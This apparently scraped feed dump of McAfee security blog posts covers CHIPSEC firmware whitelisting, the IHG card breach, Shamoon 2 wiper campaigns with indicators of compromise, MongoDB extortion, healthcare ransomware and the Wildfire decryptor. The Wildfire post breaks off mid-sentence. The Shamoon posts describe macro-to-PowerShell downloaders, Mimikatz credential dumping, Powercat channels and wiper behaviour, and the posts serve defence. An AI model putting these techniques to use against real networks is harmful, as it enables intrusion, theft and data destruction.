[*] reading firmware from ‘original’…

[*] generating a list of EFI executables from firmware image…

[*] found 276 EFI executables in UEFI firmware image ‘original’

[*] creating JSON file ‘C:\chipsec\original.json’…

 

  1. At a later time, one can verify the integrity of UEFI firmware extracted from flash ROM memory against this list of expected EFI executables. The previous step records hashes in the file efilist.json. In our example, we verify the integrity of another UEFI firmware image, named “unpacked.” Running the tools.uefi.whitelist module against this image with “original.json” containing the expected list (whitelist) of EFI executables yields the following output.

 

# chipsec_main -i -n -m tools.uefi.whitelist -a check,original.json,unpacked

 

[x][ =======================================================================

[x][ Module: Simple whitelist generation/checking for UEFI firmware

[x][ =======================================================================

 

[*] reading firmware from ‘unpacked’…

[*] checking EFI executables against the list ‘C:\chipsec\original.json’

[*] found 279 EFI executables in UEFI firmware image ‘unpacked’

[!] found EFI executable not in the list: d359a9546b277f16bc495fe7b2e8839b5d0389a8

<unknown>

{EAEA9AEC-C9C1-46E2-9D52-432AD25A9B0B}

ed0dc060e47d3225e21489e769399fd9e07f342e2ee0be3ba8040ead5c945efa (sha256)

[!] found EFI executable not in the list: 64d44b705bb7ae4b8e4d9fb0b3b3c66bcbaae57f

rkloader

{F50258A9-2F4D-4DA9-861E-BDA84D07A44C}

3a4cdca9c5d4fe680bb4b00118c31cae6c1b5990593875e9024a7e278819b132 (sha256)

[!] found EFI executable not in the list: 4a1628fa128747c77c51d57a5d09724007692d85

Ntfs

{F50248A9-2F4D-4DE9-86AE-BDA84D07A41C}

dd2b99df1f10459d3a9d173240e909de28eb895614a6b3b7720eebf470a988a0 (sha256)

[!] WARNING: found 3 EFI executables not in the list ‘C:\chipsec\original.json’

 

The tools.uefi.whitelist module found three additional EFI executable binaries, which were not present in the original firmware image. The “unpacked” firmware image has 279 EFI executable binaries including the 276 original executables and three executables injected by the HackingTeam’s UEFI rootkit (rkloader, Ntfs, and an unnamed EFI application).

The preceding example is just for illustration purposes and assumes you’ve extracted EFI firmware on your system prior to generating the whitelist and later before checking the firmware. This can be done with the CHIPSEC framework using the following command:

# chipsec_util spi dump firmware.bin

However, a separate step to dump the firmware image is not required when using the tools.uefi.whitelist module. It extracts EFI firmware from flash ROM memory automatically if the firmware file is not specified.

We recommend generating an EFI whitelist after purchasing a system or when you are sure it has not been infected:

# chipsec_main -m tools.uefi.whitelist -a generate

Then check the EFI firmware on your system periodically or whenever you are concerned, such as when a laptop was left unattended:

# chipsec_main -m tools.uefi.whitelist -a check

In the recent disclosures, another EFI firmware malware for Mac OSX systems, DarkMatter, has surfaced. It appears to include multiple EFI executable components that it injects into the EFI firmware on a target system at different stages of infection. If one has generated a whitelist of known good EFI executables from the firmware image beforehand, then running the new tools.uefi.whitelist module on a system with EFI firmware infected by the DarkMatter persistent implant would likely result in a detection of these extra binaries added to the firmware by the rootkit.

EFI firmware malware is a new frontier for stealth and persistent attacks that may be used by sophisticated adversaries to penetrate and persist within organizations and national infrastructure for a very long time. Use open-source CHIPSEC to defend from this threat and stay safe.

 

Additionally, the recent WikiLeaks disclosure referenced a vulnerability related to the McAfee Security Stinger tool. We can confirm that the Stinger tool issue is no longer present in our current technology. Users downloading the Stinger today will not be subject to attacks using the suggested exploit scenario.

The post CHIPSEC Support Against Vault 7 Disclosure Scanning appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/feed/ 1
UPDATE: Over 1000 InterContinental Hotels Become the Subject of Major Credit Card Breach https://securingtomorrow.mcafee.com/business/12-intercontinental-hotels-become-subject-major-credit-card-breach/ https://securingtomorrow.mcafee.com/business/12-intercontinental-hotels-become-subject-major-credit-card-breach/#respond Sat, 11 Feb 2017 18:00:37 +0000 https://securingtomorrow.mcafee.com/?p=69105 Update 4/25: The InterContinental Hotels Group has recently released data stating that now point-of-sale servers at more than 1,000 of its properties were compromised with the malware used to steal customer debit and credit card data. The article has been updated to reflect these new numbers. Original Story The InterContinental Hotels Group has found themselves dealing […]

The post UPDATE: Over 1000 InterContinental Hotels Become the Subject of Major Credit Card Breach appeared first on McAfee Blogs.

]]>
Update 4/25: The InterContinental Hotels Group has recently released data stating that now point-of-sale servers at more than 1,000 of its properties were compromised with the malware used to steal customer debit and credit card data. The article has been updated to reflect these new numbers.

Original Story

The InterContinental Hotels Group has found themselves dealing with an unwanted guest, as the group has acknowledged that over 1000 of their hotels were infected with malware. That malware, as it turns out, wasn’t necessarily after the hotel group’s data, instead turning to the restaurants and bars located inside of the resorts to capture customer credit card information.

So how exactly did this malware swipe customer data ranging all the way from August to December of 2016? In their statement, the group noted they found malicious software installed on point-of-sale servers at some of the restaurants and bars of over 1000 IHG-managed properties, some of which include notable spots in San Francisco and Los Angeles such as Top of the Mark and Mari Los Angeles.

This means that either the malware could have been installed over the network or, more likely, by inserting a USB stick containing the malware. Remember – many of these payment terminals are unguarded and still powered on at night, not to mention USB ports are easily accessible.

Then, by simply using an autorun script on a prepared USB-stick with the malware, cybercriminals could easily upload and install the malware in less than 15 seconds.

Regardless the methodology, this malware was unfortunately able to steal a plethora of customer data stored on the magnetic stripe on the backs of credit and debit cards, including the cardholder name, card number, expiration date, and internal verification code.

And with the exact amount of stolen data still unknown, this massive breach only adds to the large list of point-of-sale based credit card breaches, which have been continuous over the past two years.

So, what can big organizations similar to InterContinental learn from this attack? First and foremost, USB access should be restricted, which can be done by shielding ports, or whitelisting applications. Keep in mind that these terminals are running a thin-version of an operating system (mostly Windows embedded) and do not have a lot of memory.

Additionally, it’s clear that organizations are missing malware samples– similar to this breach– because they are disjoined. They are not only missing the targeted malware, but also missing the outbound communications / exfiltration of data as well. The key is to deploy and make use of newer technologies that baseline the environment and are made aware when new files arrive.  Once you have a baseline of the files you should work towards integrating endpoint technology with the network to reveal outbound communications that might otherwise slip through the cracks.

For example, McAfee Endpoint Protection and our DLP solution would recognize the malware sample that is attempting to access sensitive data.  They would then reveal the outbound communications, and inform the network (Firewall, IPS, Web Proxy).  The end result is the takedown of outbound communications, removal of the malware, and gained visibility into the data that was targeted.  Furthermore, that data should be shared across all of the locations from the first hotel that was attacked.

The moral of the story here is that integration often times yields better visibility, more knowledge, sharing, and proactive mitigation of attacks.

By keeping your security structure integrated, you give your organization a better chance of detecting threats before they do real damage – like steal 4 months’ worth of customer credit card data.

To learn more about the InterContinental breach and others like it, follow us on Twitter @McAfee_Business

 

The post UPDATE: Over 1000 InterContinental Hotels Become the Subject of Major Credit Card Breach appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/12-intercontinental-hotels-become-subject-major-credit-card-breach/feed/ 0
McAfee Launches ‘Threat Landscape Dashboard’ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-launches-threat-landscape-dashboard/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-launches-threat-landscape-dashboard/#comments Fri, 10 Feb 2017 20:10:10 +0000 https://securingtomorrow.mcafee.com/?p=69068 Every week, we read in the news of another breach or targeted campaign, as more patches are released to protect against the next strain of sophisticated malware. For the administrators responsible for safeguarding a company’s systems, networks, and digital information, keeping up is an overwhelming task, made doubly difficult because it is often hard to […]

The post McAfee Launches ‘Threat Landscape Dashboard’ appeared first on McAfee Blogs.

]]>
Every week, we read in the news of another breach or targeted campaign, as more patches are released to protect against the next strain of sophisticated malware. For the administrators responsible for safeguarding a company’s systems, networks, and digital information, keeping up is an overwhelming task, made doubly difficult because it is often hard to determine the most significant threats.

To serve those admins, McAfee began work nine months ago to design a new dashboard that identifies the most significant threats and illustrates the relationships between them.

We want to assist security practitioners when they make decisions about which vulnerabilities should be patched first, based on the prevalence of attacks that exploit those vulnerabilities.

Using vulnerabilities as the pivot point, the Threat Landscape Dashboard illustrates the relationships among exploit kits, campaigns, and ransomware. For example, the RIG exploit kit takes advantage of vulnerabilities that are used to spread certain ransomware families. Further, some of these vulnerabilities are also seen in targeted campaigns. Consequently, we can show links between exploit kits and targeted campaigns through vulnerability correlation. We also calculate a “risk score” for each threat and campaign, and recently added a “media score,” too. Monitoring and processing information from social media feeds, we calculate a score for the press attention received by the specific threat or campaign.

On each threat’s details page, we provide reference links to more information about the threat, including the source, blogs, and whitepapers. The dashboard also supports RSS feeds.

This is just the beginning for the Threat Landscape Dashboard; we are eager for your feedback. In the near future we plan to expand the dashboard with detailed threat descriptions and more contextual data. That information will be available through the RSS feed so users can import the feed and, based on keywords, filter the incoming stream.

 

The post McAfee Launches ‘Threat Landscape Dashboard’ appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-launches-threat-landscape-dashboard/feed/ 2
Spotlight on Shamoon https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/spotlight-on-shamoon/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/spotlight-on-shamoon/#comments Fri, 27 Jan 2017 18:59:46 +0000 https://securingtomorrow.mcafee.com/?p=68479 Our analysis this month has pointed to Shamoon emerging in the Middle East. We have recently seen a number of similarities that we had highlighted in our earlier blogs (on mcafee.com). The campaign continues to target organizations in the Middle East from a variety of verticals. Reports suggest that a further 15 disk-wiping Shamoon incidents […]

The post Spotlight on Shamoon appeared first on McAfee Blogs.

]]>
Our analysis this month has pointed to Shamoon emerging in the Middle East. We have recently seen a number of similarities that we had highlighted in our earlier blogs (on mcafee.com). The campaign continues to target organizations in the Middle East from a variety of verticals. Reports suggest that a further 15 disk-wiping Shamoon incidents have occurred in public and private sectors.

Rev.2 campaign

The code for the current revision is almost identical to the original version: Changes include the addition of a victim’s credentials to spread and execute the wiper in a large part of the environment. In the following screenshot, we can see that the old encoded resource names PKCS12, PKCS7, and X509 are still present in the new variants but not used.

Screen Shot 2017-01-27 at 10.47.27 AM

A question that many of us in the industry have asked ourselves is How were the attackers able to gain the credentials from so many victims in the Middle East? Let’s approach this from the attacker’s view and follow the Cyber Kill Chain steps.

Reconnaissance

An attack group prepares a plan and identifies the victims it wants to hit to create an impact or make a statement. The group gathers email addresses and other open-source intelligence as the first step to preparing for the campaign. They register domains, code backdoors, and prepare for the reconnaissance phase. When all is tested, the initial attack starts with spear phishing:

Screen Shot 2017-01-27 at 10.47.12 AM

The victims receive emails, for example, one like the preceding business proposal. The email also contains a tempting attachment. When opening the attachment, some victims saw this:

Screen Shot 2017-01-27 at 10.49.37 AM

Any requirement to activate macros before seeing content should set off alarm bells. Analyzing the document, we received confirmation of our suspicions:

Screen Shot 2017-01-27 at 10.46.48 AM

Decoding the obfuscated macro code results in a PowerShell script that proceeds to download a file, a Trojan capable of gathering system information and downloading other tools.

In other cases, we found a backdoor using a PowerShell script to gather information from the system and write to a temporary file. A code snippet:

Screen Shot 2017-01-27 at 10.46.25 AM

We also found a script that creates an instance of Mimikatz, a tool known to dump user credentials from a computer:

  • CreateMimi1.Bat or CreateMimi2.Bat

When all the data are gathered, the information is uploaded. To open a command channel, the attackers used, for example, a PowerShell script that launches Powercat, a TCP/IP “Swiss army knife” that works with netcat. A code example:

Screen Shot 2017-01-27 at 10.46.04 AM

Weaponization

The attackers invariably sort the credentials of the victims to gain an indication of the IP range and possible scale of the network. Depending on the goal of the attack, a selection of victims can be made to serve the cause. From the original Shamoon code, the current attackers have made several changes:

  • Added victims’ credentials
  • Replaced picture from flag to boy
  • Changed resource language to Yemeni Arabic
  • Tested samples

Delivery/Exploitation/Installation/Control servers/Action on objectives

In these phases, the actors needed only one or two hosts in the victim’s network as a beachhead to upload the wipers and scripts. Because the attackers already had valid credentials, no exploitation was needed.

Batch file:

Screen Shot 2017-01-27 at 10.45.44 AM

The batch file copies ntertmgr32.exe (one of many filenames of the Shamoon 2 variant) and starts it. Once the hardcoded date was reached, systems were wiped. Objective accomplished.

Actor sophistication

Our analysis of the execution of this attack tells a story about the actors capability and skills. Their attack precision is very good; they know whom and what to attack, in this case to disrupt and leave a statement. Their focus is on Windows and they use well-known practices to gather information and credentials, with no zero days. From a coding perspective, many security industry colleagues have already commented on the sloppy coding practices. From an operations security perspective—how well are the actors able to hide details that could lead to them?—we noticed that quite a few details are available: email addresses, program database paths, and Yemeni Arabic as the language identifier of almost all the samples, although we discovered one sample with a different language identifier. Was that on purpose, or a slip by the actor because this was a large campaign?

Indicators

Domains:

  • winappupdater.com
  • update.winupdater.com
  • // domain registered on 2016-11-25 by benyamin987@mail.com
  • hash 146a112cb01cd4b8e06d36304f6bdf7b and bf4b07c7b4a4504c4192bd68476d63b5 were connecting to this site

Hashes:

  • 146a112cb01cd4b8e06d36304f6bdf7b
  • bf4b07c7b4a4504c4192bd68476d63b5
  • a96d211795852b6b14e61327bbcc3473
  • 1507A4FDF65952DFA439E32480F42CCF1460B96F

File locations and filenames:

Collection of system information:

  • “%localappdata%\Microsoft\Windows\Tmp765643.txt” //where Tmp[6digits].txt is the syntax//

Filenames and Locations:

  • Microsoft\Windows\ccd
  • Microsoft\Windows\ccd6.exe”
  • Microsoft\Windows\ssc”
  • Microsoft\Windows\tss.ps1″
  • Microsoft\Windows\Tmp9932u1.bat”
  • Microsoft\Windows\Tmp765643.txt”
  • Microsoft\Windows\dp.ps1″
  • Microsoft\Windows\ccd61.ps1
  • Microsoft\Windows\dp.ps1″

Interesting strings in code samples:

  • F:\Projects\Bot Fresh\Release\Bot Fresh.pdb
  • F:\Projects\Bot\Bot\Release\Ism.pdb
  • G:\Projects\Bot\Bots\Bot5\Release\Ism.pdb

 

The post Spotlight on Shamoon appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/spotlight-on-shamoon/feed/ 1
MongoDB Databases Hit by Wave of Data Extortion https://securingtomorrow.mcafee.com/business/cloud-security/mongodb-databases-hit-wave-data-extortion/ https://securingtomorrow.mcafee.com/business/cloud-security/mongodb-databases-hit-wave-data-extortion/#respond Fri, 20 Jan 2017 23:27:25 +0000 https://securingtomorrow.mcafee.com/?p=68133 During the past couple of weeks an attacker with the alias Harak1r1 has gone after MongoDB databases connected to the cloud. These old database instances were not protected by an administrator password, and were non-firewalled. Therefore, the attacker logged onto these databases, downloaded the content, then removed the content, and left a note demanding 0.2 […]

The post MongoDB Databases Hit by Wave of Data Extortion appeared first on McAfee Blogs.

]]>
During the past couple of weeks an attacker with the alias Harak1r1 has gone after MongoDB databases connected to the cloud. These old database instances were not protected by an administrator password, and were non-firewalled. Therefore, the attacker logged onto these databases, downloaded the content, then removed the content, and left a note demanding 0.2 Bitcoin to restore the data. Although many observers have called this as a ransomware attack, it is more accurately extortion because none of the data is encrypted, which is the case with crypto-ransomware.

Screen Shot 2017-01-20 at 11.31.48 AM

All of these actions were automated instead of manual hacks into the databases. The following screenshot shows a code snippet of the scripts being used by the attackers:

Screen Shot 2017-01-20 at 11.32.32 AM

A report generated on Shodan shows an overview of MongoDB databases connected to the Internet:

Screen Shot 2017-01-20 at 11.34.00 AM

As usual, when an attack like this is revealed, many copycats attempt similar attacks. 0wn3d, byterot, and P1l4tos, as well as the professional ransomware group Kraken, soon followed. P1l4tos and Kraken0 have not limited themselves to MongoDB instances but have targeted instances of Elasticsearch as well. Other reports name Hadoop and other databases as targets.

The Kraken group is actually offering its MongoDB and Elasticsearch code, including data, as a kit for US$500.

Screen Shot 2017-01-20 at 11.34.40 AM

How profitable are these attacks for the actors? According to researchers Niall Merrigan and Victor Gerves, the total amount of Bitcoins being paid by the MongoDB victims is around BTC 23.3, roughly $20,000. If we look, for example, at the initial attacker, Harak1r1, we can create a small overview:

Screen Shot 2017-01-20 at 11.36.12 AM

Analyzing the Bitcoin wallets involved, to date the actor has made a total of BTC 4.2, which translates to $3,700.

So why exactly were these MongoDB not protected and such easy targets? It seems that many of these instances stemmed from Shadow IT—developers or departments took matters into their own hands and built out systems without IT knowledge or approval and subsequently did not follow proper security policies.

The hackers found these unapproved and unsecured cloud services systems with their data was wide open, and cybercriminals we’re able to jump on the opportunity.

Prevention

In these particular cases, a simple password would have stopped this attack. Of course, there is much more to do to protect an online database. Think in the line of firewall, SQL-injection proof, updates, auditing and backup.

But first, the IT department needs to find these Shadow IT instances and bring it to light, to ensure these proper security measures are in place. This is no easy feat, but it can be accomplished.

Criminals will always seek new ventures to make money. This is an example of the latest wave. What if an attack is targeted at your company’s database (online or onsite) and it is encrypted by attackers: are you prepared?

The post MongoDB Databases Hit by Wave of Data Extortion appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/cloud-security/mongodb-databases-hit-wave-data-extortion/feed/ 0
Cyber-Attacks on Healthcare: Where Greed is More Powerful Than Ethics https://securingtomorrow.mcafee.com/business/cyber-attacks-healthcare-greed-powerful-ethics/ https://securingtomorrow.mcafee.com/business/cyber-attacks-healthcare-greed-powerful-ethics/#respond Thu, 19 Jan 2017 21:03:03 +0000 https://securingtomorrow.mcafee.com/?p=68104 This week, a group of cybercriminals lowered the ethics bar by extending their attacks on the healthcare sector, beyond providers such as hospitals and clinics, to a non-profit cancer support organization. Little Red Door provides diagnostics, treatment, and supplies to under-served cancer patients. Sadly, this is just the latest example of hackers’ exploitation of the […]

The post Cyber-Attacks on Healthcare: Where Greed is More Powerful Than Ethics appeared first on McAfee Blogs.

]]>
This week, a group of cybercriminals lowered the ethics bar by extending their attacks on the healthcare sector, beyond providers such as hospitals and clinics, to a non-profit cancer support organization.

Little Red Door provides diagnostics, treatment, and supplies to under-served cancer patients. Sadly, this is just the latest example of hackers’ exploitation of the healthcare sector.

Last Friday, the computer systems of five hospitals in the UK’s Barts Health NHS Trust group were taken offline in response to a Trojan malware attack. Luckily, no patient data seems to have been taken, the virus has been quarantined, and most systems have since recovered from the attack (minus file-sharing). But the attacks were the latest notable reminder that legacy systems, a fragmented workforce, and inconsistent security defenses continue to put hospital cybersecurity in critical condition.

Why cybercriminals target healthcare

Last year, we saw a series of attacks on hospitals across the U.S. Hospitals have become a prime target because they usually operate legacy systems and medical devices with weak security and they have a life or death need for immediate access to information. For instance, it appears Barts Health uses the unsupported Window XP operating system.

But the trend also represents a notable shift in ransomware attackers’ focus from consumer to organizations with weak security. This new form of crime appears to be paying well. One ransomware developer posted a screenshot of his digital wallet that showed a balance of US$94 million, earned in about six months.

Why IoT medical devices pose an IT challenge

Ransomware attacks can target medical devices, which are more challenging to protect and clean up than servers and workstations. Recovering from these attacks not only includes the ransom payment but also the costs of downtime and system recovery. Some hospitals have experienced partial or complete network downtime of five to 10 days. McAfee’s Foundstone Incident Response team identified at least 19 hospital ransomware attacks during the first half of 2016, across six countries. Most of the hospitals that paid the ransom had no contingency plans for this type of event.

What we can do to protect healthcare IT systems

For Little Red Door, the organization decided not to play by the attackers’ rules, refusing to pay them, noting that its funds are intended to “help cancer patients and their families.”

For organizations, seeking to avoid such choices, we recommend the following Top 10 list for protecting healthcare systems from malware infections and prompt recovery:

  • Develop an incident response plan, so that if your systems are compromised you can get back in operation quickly.
  • On general-purpose devices, keep the patches up to date. Many of the vulnerabilities exploited by these attackers have patches available.
  • Whitelist medical equipment to prevent unapproved programs from executing.
  • Do not rely on default settings for endpoint protection. Turn on advanced endpoint protections that can block malware executables from running.
  • Add or enhance your antispam filter. Most ransomware attacks use uncommon file formats, packed several levels into .zip files to evade detection, so make sure you are scanning for them.
  • Block unnecessary programs and traffic. Many ransomware control servers use Tor to get their encryption key. If you can block this traffic, you can stop the encryption process.
  • Use network segmentation to separate critical devices required for patient care from the general network.
  • Keep backups completely disconnected from the production network, so that ransomware payloads cannot corrupt your backup data.
  • Reduce or eliminate the use of local disks to store sensitive data. Secure network drives can be restored more quickly, assuming the backups are clean.
  • Almost one in 10 spam messages is still being opened, so ongoing user awareness training is critically important.

 To learn more about these recent hospital cyber-attacks and what you can do to protect against them, please see our McAfee Labs Threats Report: September 2016 feature on healthcare cyber-attacks.

The post Cyber-Attacks on Healthcare: Where Greed is More Powerful Than Ethics appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/cyber-attacks-healthcare-greed-powerful-ethics/feed/ 0
Shamoon Rebooted in Middle East, Part 2 https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-rebooted-middle-east-part-2/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-rebooted-middle-east-part-2/#respond Fri, 09 Dec 2016 19:14:08 +0000 https://securingtomorrow.mcafee.com/?p=66974 Last week we provided some initial analysis on recent attacks targeting organizations in the Middle East.  The attack has hallmarks of the Shamoon campaign of 2012. We now have additional data related to the components used within the new campaign, which has three distinct components: dropper, wiper, and wiper driver. The language of these three […]

The post Shamoon Rebooted in Middle East, Part 2 appeared first on McAfee Blogs.

]]>
Last week we provided some initial analysis on recent attacks targeting organizations in the Middle East.  The attack has hallmarks of the Shamoon campaign of 2012. We now have additional data related to the components used within the new campaign, which has three distinct components: dropper, wiper, and wiper driver.

The language of these three components—PKCS12 (wiper), PKCS7, and X509—is lang:9217, which translates to Yemeni Arabic. We also see both 32- and 64-bit versions.

The malware spreads over the network using the IPC$ share and embedded administrator credentials from the targeted organization, so we can assume that the attackers already had a beachhead to gather these credentials from one of the samples. The password was also very strong, another indicator that the attackers might have had network access to compromise passwords and accounts. Indeed, our Foundstone team, which has conducted significant work on both campaigns, has confirmed individuals (not related to the attacks) who have shown off their technical prowess by publicizing the compromised credentials on public forums.

The malware tries to disable the user account control, verifies if it is connected with admin credentials, and drops the payload in the System32 folder. Another run option is to use the AT command and schedule a job to execute the payload.

Wiping function

The wiper component was hardcoded to start Thursday, November 17 at 20:45, after the beginning of Saudi Arabia’s Friday holiday, when most employees have left and after the evening prayer time.

The wiper component verifies the date and extracts the wiper component to System32 using the same random names as generated by the Shamoon code from 2012. The wiper has three options for deletion: F, E, and R. The F option wipes the data with the JPEG of the Syrian refugee boy Alan Kurdi lying drowned on the beach. The E and R option wipe using random values. Shamoon 1 used a JPEG of a burning US flag.

Also during the mass deletion, the wiper uses the Eldos RawDisk driver to change the system time to August 2012, probably to not allow the expiration of the trial period of the temporary license for the software.

We have found many similarities between the 2012 attack and this recent campaign. There are a few alterations to the code and political themes, but overall we see a similar framework and process.

Detection

In cooperation with McAfee Labs we can confirm that all related samples of this attack are detected by the signature DistTrack![partial-hash].

The driver used for the wiper is legitimate software. Thus this threat carries the on-screen warning Possibly Unwanted Program. We will continue our analysis, particularly as our Foundstone team identifies additional indicators.

The post Shamoon Rebooted in Middle East, Part 2 appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-rebooted-middle-east-part-2/feed/ 0
Shamoon Rebooted? https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-rebooted/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-rebooted/#respond Tue, 29 Nov 2016 12:15:24 +0000 https://securingtomorrow.mcafee.com/?p=66683 We have recently received notifications and samples from impacted organizations in the Middle East that have hallmarks of the Shamoon campaign from 2012. The main component of these attacks was the usage of a wiper component that, once activated, destroyed the hard disks of infected machines. The initial infection vector for the recent attacks is […]

The post Shamoon Rebooted? appeared first on McAfee Blogs.

]]>
We have recently received notifications and samples from impacted organizations in the Middle East that have hallmarks of the Shamoon campaign from 2012. The main component of these attacks was the usage of a wiper component that, once activated, destroyed the hard disks of infected machines.

The initial infection vector for the recent attacks is unknown. Analyzing the submitted files, we started to recognize similar tactics and procedures that we discovered in 2012.

When the initial executable is run, it creates a copy of itself in the %SystemRoot%\System32 folder using the name trksrv.exe and starts itself as a new service.

After the trksvr service has starts, it drops files, in either a 32- or 64-bit version, depending on the system of the victim. Reverse engineering one of the binaries, we discovered the following random-name examples that could be used for these 32- or 64-bit binaries:

  • ntdsutl.exe
  • power.exe
  • rdsadmin.exe
  • regsys.exe
  • sigver.exe
  • routeman.exe
  • ntnw.exe
  • netx.exe
  • fsutl.exe
  • extract.exe

Some of these filenames are the same as those used in the first Shamoon attack; other filenames are new.

This dropped executable is the wiper module and is responsible for overwriting various files on the hard disk and also the master boot record and boot sector.

The wiper module also drops the file drdisk.sys, which is a standard component from a commercial application (Eldos) that allows programs low-level access to hard disk drives. This driver was used in the first Shamoon attack, and again in this new campaign.

The wiper module initiates an enumeration of files on the victim’s disk and writes the results to a file with the extension “.pnf,” the file that the wiper module will use as an input for which files to wipe.

We are continuing our investigation into this campaign, and intend to publish further analyses.

McAfee Labs detects samples with the following names:

  • W32/DistTrack
  • Artemis detection
  • DistTrack!sys
  • Trojan-FKIQ![hash]
  • Trojan-FKIR![hash]

 

 

The post Shamoon Rebooted? appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-rebooted/feed/ 0
‘McAfee Labs Threats Report’ Examines Whether Ransomware Is Coming to a Hospital Near You https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ransomware-coming-to-a-hospital-near-you/ Fri, 23 Sep 2016 12:46:52 +0000 https://blogs.mcafee.com/?p=52572 Delivering uninterrupted services with immediate access to information is not an easy task. Doing it with legacy systems, a fragmented workforce, and inconsistent security is a monumental job. Unfortunately, this is the state of many hospitals, leading the criminal underground to their back doors. Ransomware attackers have shifted focus, moving from consumers to organizations with […]

The post ‘McAfee Labs Threats Report’ Examines Whether Ransomware Is Coming to a Hospital Near You appeared first on McAfee Blogs.

]]>
Delivering uninterrupted services with immediate access to information is not an easy task. Doing it with legacy systems, a fragmented workforce, and inconsistent security is a monumental job. Unfortunately, this is the state of many hospitals, leading the criminal underground to their back doors.

Ransomware attackers have shifted focus, moving from consumers to organizations with weak security but a strong reliance on their information systems. Victims appear to be paying. One ransomware developer posted a screenshot of his digital wallet that showed a balance of US$94 million, earned in about six months.

Hospitals have become a prime target because they usually operate legacy systems and medical devices with weak security and they have a life or death need for immediate access to information.

According to a recent study by the Ponemon Institute, half of all healthcare data breaches in the last year were the result of criminal attacks, as opposed to errors or omissions by employees. At the same time, the primary security worry of these organizations is employee negligence. So it comes as no surprise that phishing and other human-weakness exploits are the primary attack vector.

Ransomware attacks often affect medical devices, which are more challenging to protect and clean up than servers and workstations. Recovering from these attacks not only includes the ransom payment but also the costs of downtime and system recovery. Some hospitals have experienced partial or complete network downtime of five to 10 days. The Foundstone Incident Response team identified at least 19 hospital ransomware attacks during the first half of 2016, across six countries. Most of the hospitals that paid the ransom had no contingency plans for this type of event.

What can you do to protect your hospital? Our Top 10 list for protecting healthcare systems from ransomware and other malware infection:

  • Develop an incident response plan, so that if your systems are compromised you can get back in operation quickly.
  • On general-purpose devices, keep the patches up to date. Many of the vulnerabilities exploited by these attackers have patches available.
  • Whitelist medical equipment to prevent unapproved programs from executing.
  • Do not rely on default settings for endpoint protection. Turn on advanced endpoint protections that can block malware executables from running.
  • Add or enhance your antispam filter. Most ransomware attacks use uncommon file formats, packed several levels into .zip files to evade detection, so make sure you are scanning for them.
  • Block unnecessary programs and traffic. Many ransomware control servers use Tor to get their encryption key. If you can block this traffic, you can stop the encryption process.
  • Use network segmentation to separate critical devices required for patient care from the general network.
  • Keep backups completely disconnected from the production network, so that ransomware payloads cannot corrupt your backup data.
  • Reduce or eliminate the use of local disks to store sensitive data. Secure network drives can be restored more quickly, assuming the backups are clean.
  • Almost one in 10 spam messages is still being opened, so ongoing user awareness training is critically important.

To learn more about these recent hospital ransomware attacks and what you can do to protect against them, download the McAfee Labs Threats Report: September 2016.

The post ‘McAfee Labs Threats Report’ Examines Whether Ransomware Is Coming to a Hospital Near You appeared first on McAfee Blogs.

]]>
‘Wildfire’ Ransomware Extinguished by Tool From NoMoreRansom; Unlock Files for Free https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/wildfire-ransomware-extinguished-tool-nomoreransom-unlock-files-free/ Tue, 23 Aug 2016 18:30:41 +0000 https://blogs.mcafee.com/?p=52251 McAfee and Kaspersky Lab, partners in the project NoMoreRansom, are pleased to announce today the availability of a decryption tool for victims of the Wildfire variant of ransomware. This tool is available following successful collaboration with the Dutch police and the European Cybercrime Centre. This strong public-private partnership has led to the seizure of criminal […]

The post ‘Wildfire’ Ransomware Extinguished by Tool From NoMoreRansom; Unlock Files for Free appeared first on McAfee Blogs.

]]>
McAfee and Kaspersky Lab, partners in the project NoMoreRansom, are pleased to announce today the availability of a decryption tool for victims of the Wildfire variant of ransomware. This tool is available following successful collaboration with the Dutch police and the European Cybercrime Centre. This strong public-private partnership has led to the seizure of criminal infrastructure and has resulted in the availability of the decryption tool.

Victims of this variant of ransomware know if they have been infected with Wildfire because they will see the following message:

20160823 Wildfire 1

Ransomware notice.

Most of the victims of Wildfire are in the Netherlands and Belgium. Although this message requests a ransom of 1.5 Btc, reality is that most victims paid between 0.5 and 0.6 Btc. Apparently, the actors accepted in some cases a negotiation.

Wildfire has spread primarily through Dutch spam emails from transport companies, targeted at Dutch speakers. The victims were misled with a notice of a “missed” delivery and instructions for scheduling a new delivery by filling in a “special form” attached with the mail. This form was in fact an obfuscated dropper that infects the victims with the ransomware. The following screenshot is typical of the many spam mails:

20160823 Wildfire 2

Spam email aimed at Dutch speakers.

The domain transportbedrijfpeters.nl, used in the preceding mail, was first seen on May 17 by a P.O. Box company in the United Arab Emirates. May 18 was the date of the spam mail. There is nothing illegal about this, but it raises a lot of suspicion.

The domains used in all the Wildfire spam mails that we researched were registered between the end of May and August this year, the height of the Wildfire campaign. Another remarkable thing about the spam mails is that they contain addresses of real businesses in the Netherlands.

The actors behind Wildfire have clearly put a lot of effort into making their spam mails look credible and very specific. Because of these elements, we would not be surprised if there is a Dutch-speaking group involved.

Once victims are infected, they see the ransom note, as shown above. To make the payment, the victim has to connect to a .RU or .SU domain. These domains act as a proxy to connect the victim to the control server, which was hosted on the Dark web. We believe that the actors did this to avoid the detection of search bots and having the site appear in popular search engines, and to be as stealthy as possible when accessing their services.

Thanks to our public-private partnership we were able to take a look at Wildfire’s control server panel. The main panel has the following campaign details:
